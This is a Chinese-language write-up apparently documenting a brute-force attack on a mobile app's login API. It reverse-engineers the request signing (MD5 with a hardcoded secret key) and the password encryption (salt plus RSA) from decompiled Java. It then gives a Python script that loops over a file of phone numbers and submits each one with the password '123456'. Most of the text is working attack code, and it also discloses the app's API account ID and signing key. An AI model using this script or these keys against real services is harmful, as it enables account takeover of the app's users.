【网络安全】记一次APP登录爆破

使用工具

1. 安卓12

2. jadx-gui

抓取登录HTTP请求包

1. 安装burp证书，并抓取登录请求。

POST /loginUser HTTP/1.1
Host: api.xxxx.xxxxx.com

apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone=xxxx&sign=72C132B392873B3F4F6C0872E5EC4B5A&enc=M%2F8hR0rN%2B0KwSGZ59%2FGQqWbrUgTAMZW%2FPnv2tiKlMjGmy%2Fmtu7tXSEftEkTLOoczSXH8%3D&timestamp=1658332134014

2. 分析登录请求包中需要五个参数

1. apiaccount
2. sign
3. enc
4. phone
5. timestamp

分析参数

apiaccount

搜索关键词

此关键词为固定值vrpuc-aaf91f835147ce2d01216bd3bd5c3516

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phone

手机号

timestamp

1. 此值为当前的时间戳String.valueOf(System.currentTimeMillis())
   

2. 改写为python代码

import time
timestamp = str(int(time.time()*1000)) 

sign

public static O d(String str, String str2) {
HashMap hashMap = new HashMap();
hashMap.put("phone", str);
hashMap.put("enc", e(str2));
return c.g.b.f.b.c(f.h(), a(hashMap));
}

private static Map<String, String> a(Map<String, String> map) {
HashMap hashMap = new HashMap();
hashMap.put("apiaccount", "vrpuc-aaf91f835147ce2d01216bd3bd5c3516");
hashMap.put("timestamp", String.valueOf(System.currentTimeMillis()));
TreeMap treeMap = new TreeMap();
treeMap.putAll(hashMap);
if (map != null) {
treeMap.putAll(map);
}
hashMap.put("sign", a((SortedMap<String, String>) treeMap));
if (map != null) {
hashMap.putAll(map);
}
return hashMap;
}

private static String a(SortedMap<String, String> sortedMap) {
StringBuffer stringBuffer = new StringBuffer();
for (Map.Entry<String, String> entry : sortedMap.entrySet()) {
if (!TextUtils.isEmpty(entry.getValue())) {
stringBuffer.append(entry.getKey() + "=" + entry.getValue() + "&");
}
}
stringBuffer.append("key=a0f723c011346j39w049d7bf0356b34b");
return D.d(stringBuffer.toString()).toUpperCase();
}
private static byte[] a(byte[] bArr, String str) {
if (bArr != null && bArr.length > 0) {
try {
MessageDigest messageDigest = MessageDigest.getInstance(str);
messageDigest.update(bArr);
return messageDigest.digest();
} catch (NoSuchAlgorithmException e2) {
e2.printStackTrace();
}
}
return null;
}

private static String q(byte[] bArr) {
int length;
if (bArr != null && (length = bArr.length) > 0) {
char[] cArr = new char[length << 1];
int i2 = 0;
for (int i3 = 0; i3 < length; i3++) {
int i4 = i2 + 1;
char[] cArr2 = f10685a;
cArr[i2] = cArr2[(bArr[i3] >> 4) & 15];
i2 = i4 + 1;
cArr[i4] = cArr2[bArr[i3] & 15];
}
return new String(cArr);
}
return "";
}

sign参数组合

sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=xxxxxx&timestamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'

enc

str = phone``str2 = password

大致流程

1. 输入密码

2. 密码 + 随机10位salt

   1. "password=" + "密码" + "&salt=" + salt

3. 使用此函数操作密钥

private static byte[] b(String str) throws UnsupportedEncodingException {
int i2;
byte b2;
int i3;
byte b3;
int i4;
byte b4;
int i5;
byte b5;
StringBuffer stringBuffer = new StringBuffer();
byte[] bytes = str.getBytes("US-ASCII");
int length = bytes.length;
int i6 = 0;
while (i6 < length) {
while (true) {
i2 = i6 + 1;
b2 = f16023b[bytes[i6]];
if (i2 >= length || b2 != -1) {
break;
}
i6 = i2;
}
if (b2 == -1) {
break;
}
while (true) {
i3 = i2 + 1;
b3 = f16023b[bytes[i2]];
if (i3 >= length || b3 != -1) {
break;
}
i2 = i3;
}
if (b3 == -1) {
break;
}
stringBuffer.append((char) ((b2 << 2) | ((b3 & 48) >>> 4)));
while (true) {
i4 = i3 + 1;
byte b6 = bytes[i3];
if (b6 == 61) {
return stringBuffer.toString().getBytes("iso8859-1");
}
b4 = f16023b[b6];
if (i4 >= length || b4 != -1) {
break;
}
i3 = i4;
}
if (b4 == -1) {
break;
}
stringBuffer.append((char) (((b3 & 15) << 4) | ((b4 & 60) >>> 2)));
while (true) {
i5 = i4 + 1;
byte b7 = bytes[i4];
if (b7 == 61) {
return stringBuffer.toString().getBytes("iso8859-1");
}
b5 = f16023b[b7];
if (i5 >= length || b5 != -1) {
break;
}
i4 = i5;
}
if (b5 == -1) {
break;
}
stringBuffer.append((char) (b5 | ((b4 & 3) << 6)));
i6 = i5;
}
return stringBuffer.toString().getBytes("iso8859-1");
}

4. RSA加密

Cipher cipher = Cipher.getInstance("RSA");
cipher.init(1, publicKey);
return cipher.doFinal(bArr);

5. 使用此函数处理加密后的结果

public static String a(byte[] bArr) {
StringBuffer stringBuffer = new StringBuffer();
int length = bArr.length;
int i2 = 0;
while (true) {
if (i2 >= length) {
break;
}
int i3 = i2 + 1;
int i4 = bArr[i2] & 255;
if (i3 == length) {
stringBuffer.append(f16022a[i4 >>> 2]);
stringBuffer.append(f16022a[(i4 & 3) << 4]);
stringBuffer.append("==");
break;
}
int i5 = i3 + 1;
int i6 = bArr[i3] & 255;
if (i5 == length) {
stringBuffer.append(f16022a[i4 >>> 2]);
stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]);
stringBuffer.append(f16022a[(i6 & 15) << 2]);
stringBuffer.append("=");
break;
}
int i7 = i5 + 1;
int i8 = bArr[i5] & 255;
stringBuffer.append(f16022a[i4 >>> 2]);
stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]);
stringBuffer.append(f16022a[((i6 & 15) << 2) | ((i8 & 192) >>> 6)]);
stringBuffer.append(f16022a[i8 & 63]);
i2 = i7;
}
return stringBuffer.toString();
}

改写为python代码

def main(phone,password):
url = "https://xx.com/loginUser"
sign = ""
enc = ""
tmtp = str(int(time.time() * 1000))

salt = "1234567890"  # 随机生成的10个数字
enc_ori = "password=" + password + "&salt=" + salt
enc = gen_enc(enc_ori)

sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=' + phone+'&timestamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'

sign = gen_sign(sign_ori)
print(quote_plus(enc))

data = "apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone="+phone+"&sign=" + sign + "&enc=" + quote_plus(enc) + "&timestamp=" + tmtp

res = requests.post(url=url, data=data)
print(res.text)

加载字典爆破

def main(phone, password):
res = requests.post(url=url, headers=headers, data=data)
print(res.text)

if __name__ == "__main__":
with open("phone","r") as f:
for i in f.readlines():
main(i.strip(),"123456")